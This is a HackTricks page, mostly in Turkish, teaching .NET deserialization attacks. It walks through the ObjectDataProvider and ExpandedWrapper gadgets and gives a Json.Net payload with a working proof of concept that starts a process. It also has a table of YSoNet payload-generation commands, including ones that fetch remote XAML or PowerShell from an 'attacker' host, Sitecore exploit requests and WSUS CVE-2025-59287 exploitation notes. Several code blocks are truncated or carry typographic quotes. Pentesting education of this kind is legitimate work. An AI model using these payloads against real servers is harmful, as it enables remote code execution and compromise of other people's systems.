Temel .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu yazı, ObjectDataProvider gadget’ının RCE elde etmek için nasıl istismar edildiğini ve bu gadget ile Serialization kütüphaneleri Json.Net ve xmlSerializer’ın nasıl kötüye kullanılabileceğini anlamaya ayrılmıştır.
ObjectDataProvider Gadget
Dokümantasyona göre: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Evet, tuhaf bir açıklama, o zaman bu sınıfın neden bu kadar ilginç olduğunu görelim: Bu sınıfın rastgele bir nesneyi sarmasına, MethodParameters kullanarak rastgele parametreler ayarlamaya, ve sonra MethodName kullanarak rastgele bir nesnenin rastgele parametrelerle tanımlanan rastgele bir fonksiyonunu çağırmaya izin verdiğini görüyoruz.
Dolayısıyla, rastgele nesne, serileştirilirken parametrelerle birlikte bir fonksiyonu çalıştıracaktır.
Bu nasıl mümkün
System.Windows.Data isim alanı, PresentationFramework.dll içinde C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF yolunda bulunur; ObjectDataProvider burada tanımlanmış ve uygulanmıştır.
dnSpy kullanarak ilgilendiğimiz sınıfın kodunu inceleyebilirsiniz. Aşağıdaki görüntüde PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name kodunu görüyoruz:
.png)
Gördüğünüz gibi MethodName ayarlandığında base.Refresh() çağrılıyor, bunun ne yaptığını görelim:
.png)
Tamam, şimdi this.BeginQuery()’nin ne yaptığını görmeye devam edelim. BeginQuery, ObjectDataProvider tarafından override edilmiş ve yaptığı şey şudur:
.png)
Kodun sonunda this.QueryWorke(null) çağrısı yaptığını unutmayın. Bunun neyi çalıştırdığını görelim:
.png)
Bu QueryWorker fonksiyonunun tamamı olmasa da ilgi çekici kısmını gösteriyor: Kod this.InvokeMethodOnInstance(out ex); çağrısı yapıyor; bu, ayarlandığı metodun çağrıldığı satırdır.
Eğer sadece MethodName ayarlayarak metodun çalıştırılacağını kontrol etmek isterseniz, bu kodu çalıştırabilirsiniz:
C# örnek: ObjectDataProvider Process.Start'ı tetikliyor
```csharp using System.Windows.Data; using System.Diagnostics;namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }
</details>
Dikkat: `System.Windows.Data`'i yüklemek için başvuru olarak _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ eklemeniz gerektiğini unutmayın
## ExpandedWrapper
Önceki exploit'i kullanırken, bazı durumlarda **object** bir _**ObjectDataProvider**_ örneği olarak **deserialized as** olacaktır (örneğin DotNetNuke vuln'ta, XmlSerializer kullanılarak nesne `GetType` ile deserialized edilmişti). Bu durumda, _ObjectDataProvider_ örneğinde sarılı olan nesnenin türü hakkında **no knowledge of the object type that is wrapped** olacaktır (`Process` gibi). DotNetNuke zafiyeti hakkında daha fazla bilgiyi şuradan bulabilirsiniz: [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\\
Bu, önceki örnekte sunulan duruma benzer vakalar için çok yararlıdır; çünkü **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
Bu wrapper'ı aşağıdaki kodla inceleyebilirsiniz:
<details>
<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Resmi web sayfasında bu kütüphanenin Serialize and deserialize any .NET object with Json.NET’s powerful JSON serializer yapabildiği belirtiliyor. Yani, eğer deserialize the ObjectDataProvider gadget gerçekleştirebilseydik, bir nesneyi yalnızca deserialize ederek bir RCE tetikleyebilirdik.
Json.Net example
Öncelikle bu kütüphaneyi kullanarak bir nesnenin nasıl serialize/deserialize edileceğine dair bir örneğe bakalım:
C# demo: Json.NET serialize/deserialize
```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject
</details>
### Json.Net'i kötüye kullanma
[ysoserial.net](https://github.com/pwntester/ysoserial.net) kullanarak exploit'i oluşturdum:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Bu kodda exploit’i test edebilirsiniz, sadece çalıştırın ve calc’ın çalıştırıldığını göreceksiniz:
C# demo: Json.NET ObjectDataProvider exploitation PoC
```csharp using System; using System.Text; using Newtonsoft.Json;namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject
</details>
## Gelişmiş .NET Gadget Zincirleri (YSoNet & ysoserial.net)
The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**. Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.
Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
| Gadget Zinciri | Ana Fikir / Primitive | Yaygın Serileştiriciler | YSoNet tek satır komutu |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *compiles* or *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> **Tüm payload'lar varsayılan olarak *stdout*'a yazılır**, bu sayede bunları diğer araçlara (ör. ViewState üreteçleri, base64 kodlayıcılar, HTTP istemcileri) pipe'lamak çok kolaydır.
### YSoNet'i Derleme / Kurma
If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Derlenmiş ysonet.exe dosyası daha sonra ysonet/bin/Release/ altında bulunabilir.
Gerçek dünya sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Kimlik doğrulamalı Sitecore XP Content Editor akışlarında erişilebilen pratik bir .NET sink:
- Sink API:
Sitecore.Convert.Base64ToObject(string)wrapsnew BinaryFormatter().Deserialize(...). - Tetikleme yolu: pipeline
convertToRuntimeHtml→ConvertWebControls. Bu pipeline,id="{iframeId}_inner"olan bir kardeş öğe arar ve base64 ile kodlanmış serileştirilmiş veri olarak değerlendirilen birvalueözniteliğini okur. Sonuç string’e dönüştürülüp HTML içine yerleştirilir.
Kimlik doğrulamalı Sitecore sink tetikleyici HTTP akışı
```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…
</details>
- Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads.
Tam bir zincir için — Sitecore'de HTML cache poisoning ile pre‑auth olarak başlayan ve bu sink'e ulaşan:
<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>
## Vaka çalışması: WSUS unsafe .NET deserialization (CVE-2025-59287)
- Ürün/rol: Windows Server Update Services (WSUS) rolü, Windows Server 2012 → 2025 üzerinde.
- Saldırı yüzeyi: IIS-hosted WSUS endpoint'leri HTTP/HTTPS üzerinden TCP 8530/8531 üzerinde (çoğunlukla dahili olarak açılmış; Internet'e açılma yüksek risk).
- Kök neden: Legacy formatters kullanılarak saldırgan kontrollü verinin kimlik doğrulaması olmadan deserialization'ı:
- `GetCookie()` endpoint'i bir `AuthorizationCookie`'yi `BinaryFormatter` ile deserializes eder.
- `ReportingWebService` unsafe deserialization'ı `SoapFormatter` aracılığıyla gerçekleştirir.
- Etki: Hazırlanmış bir serialized nesne, deserialization sırasında bir gadget zincirini tetikler ve WSUS servisi (`wsusservice.exe`) veya IIS app pool'u `wsuspool` (`w3wp.exe`) altında `NT AUTHORITY\SYSTEM` olarak keyfi kod çalıştırmaya yol açar.
Pratik sömürü notları
- Discovery: TCP 8530/8531 üzerinde WSUS'u tarayın. WSUS web metodlarına ulaşan herhangi bir pre-auth serialized blob'u BinaryFormatter/SoapFormatter payload'ları için potansiyel bir sink olarak değerlendirin.
- Payloads: YSoNet/ysoserial.net kullanarak BinaryFormatter veya SoapFormatter zincirleri üretin (örn. `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Başarı durumunda beklenen süreç zinciri:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
## References
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
>
> </details>
HackTricks

